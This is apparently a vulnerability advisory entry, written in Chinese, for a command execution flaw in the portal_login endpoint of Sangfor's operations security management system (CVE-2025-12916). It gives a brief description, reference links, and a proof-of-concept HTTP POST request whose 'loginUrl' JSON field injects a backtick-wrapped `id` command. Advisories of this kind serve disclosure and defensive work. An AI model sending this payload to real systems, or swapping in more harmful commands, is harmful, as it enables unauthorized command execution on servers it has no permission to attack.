Description
命令执行漏洞是指攻击者通过构造特定的请求，使得服务器端执行非预期的命令，从而可能导致未授权的数据访问、权限提升、服务中断等严重后果。这种漏洞通常由于应用程序对用户输入的验证不充分或者对外部命令调用缺乏必要的安全控制而产生。
深信服运维安全管理系统 portal_login 命令执行漏洞
PoC
POST /fort/portal_login HTTP/1.1
Host:
Content-Type: application/json
"{\"userName\":\"Bob\", \"loginUrl\":\"`id`\", \"role\": \"\", \"password\": \"123456789\"}" #
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://www.sangfor.com.cn/sec_center/details/5802e177c6a84e1eb7389809936a13fc
https://nvd.nist.gov/vuln/detail/CVE-2025-12916
https://www.sentinelone.com/vulnerability-database/cve-2025-12916/
https://vuldb.com/?id.331634
https://mrxn.net/jswz/sangfor-osm-system-portal_login-rce.html
https://github.com/master-abc/cve/issues/14
https://vulners.com/cve/CVE-2025-12916
https://gravity.vd.wiki/
https://blog.csdn.net/murphysec/article/details/149082475